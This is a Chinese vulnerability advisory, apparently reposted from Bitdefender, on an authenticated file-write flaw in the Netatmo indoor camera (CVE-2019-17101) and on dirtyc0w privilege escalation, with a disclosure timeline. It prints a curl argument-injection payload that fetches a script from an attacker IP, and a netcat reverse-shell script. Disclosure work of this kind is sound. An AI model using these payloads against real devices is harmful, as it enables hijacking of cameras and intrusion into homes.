室内视频监控已成为物联网设备最常见的应用之一。在公共场所,办公室或私人住宅中,视频监视有助于阻止犯罪,并在事故后进行取证。安全摄像头已成为必需品,但在物联网世界中,安全漏洞非常多。
本文是与PCMag合作开发的系列文章的一部分,旨在阐明IoT安全。PCMag联系了Bitdefender的研究团队,并要求我们研究几种流行的设备,包括Netatmo智能室内安全摄像头。在合作伙伴网站上发布的这篇文章中,可以获得更多信息。
漏洞一览
Bitdefender IoT漏洞研究团队发现,该设备容易受到经过身份验证的文件写入的影响,从而导致命令执行(CVE-2019-17101)以及通过dirtyc0w进行的特权升级(dirtyc0w –利用竞争条件的本地特权升级错误)在内核的内存管理子系统中实现“写时复制”机制。
这些可能不是您要寻找的机器人
虽然我们过去的研究显示了攻击者可以远程劫持设备并从远处控制设备的真实示例,但此报告还是有点不同–这里概述的漏洞可能有助于合法用户或拥有正确凭据的第三方越狱,然后完全拥有它。
披露时间表
2019年12月20日:Bitdefender通知供应商该漏洞
2019年12月23日:漏洞已在供应商一方得到确认
2020年1月14日:漏洞已修复,发布补丁计划
2020 年1月20 日部署 :受影响的客户采用了补丁程序
2020年4月23日:协调的漏洞披露
经过身份验证的文件写入导致命令执行
摄像机上运行的Web服务器容易受到文件写入的攻击,该文件写入可利用正在运行的服务器的特权来获取命令执行。要访问此功能,攻击者需要知道照相机的秘密路径(用于本地攻击),或(通过凭据填充,网络钓鱼等)获取对用户帐户的访问权限,以使用VPN连接发送命令。
由于对用户控制变量的处理不当,该漏洞出现在dtg_get_config.sh脚本中。
漏洞代码:
evt_config_json=`curl -X GET http://127.0.0.1:8083/configs/home/modules/id=$mac_address`
攻击者可以使用shell程序的扩展和单词拆分功能,通过$ mac_address变量为curl命令提供任意参数。
payload示例:
mac_address={,-o,/dev/null,192.168.50.131/rev.sh,-o,/system/www/secret/live/ping.sh}
使用此payload,执行的命令将是:
curl -X GET http://127.0.0.1:8083/configs/home/modules/id= -o /dev/null 192.168.50.131/rev.sh -o /system/www/secret/live/ping.sh
curl将首先将初始文件下载到/dev/null,然后从我们控制的位置(在本例中为192.168.50.131/rev.sh)下载第二个文件,并将其写入/system/www/secret/live/ping.sh
要执行恶意脚本,必须向/b3f2f2101057f1f956776c1431113a01/live/ping.sh发出请求
反向shell的示例shell脚本:
#!/system/bin/sh busyboxnc 192.168.50.131 4446 -e /bin/sh
该脚本将以Web服务器,uid 1000和gid 3003的特权运行。
注意:有多个不引用输入变量的可访问脚本,然后由sh解释。
特权升级
设备容易通过dirtyc0w漏洞升级特权(攻击者可以获得root用户访问权限)。
此漏洞由Bitdefender和Netatmo发现并修复。根据Netatmo的说法,自2020年2月底以来,所有室内摄像机型号均已更新,以解决dirtyc0w漏洞。
来源:freebuf.com 2020-04-28 17:35:02 by: 比特梵德中国
请登录后发表评论
注册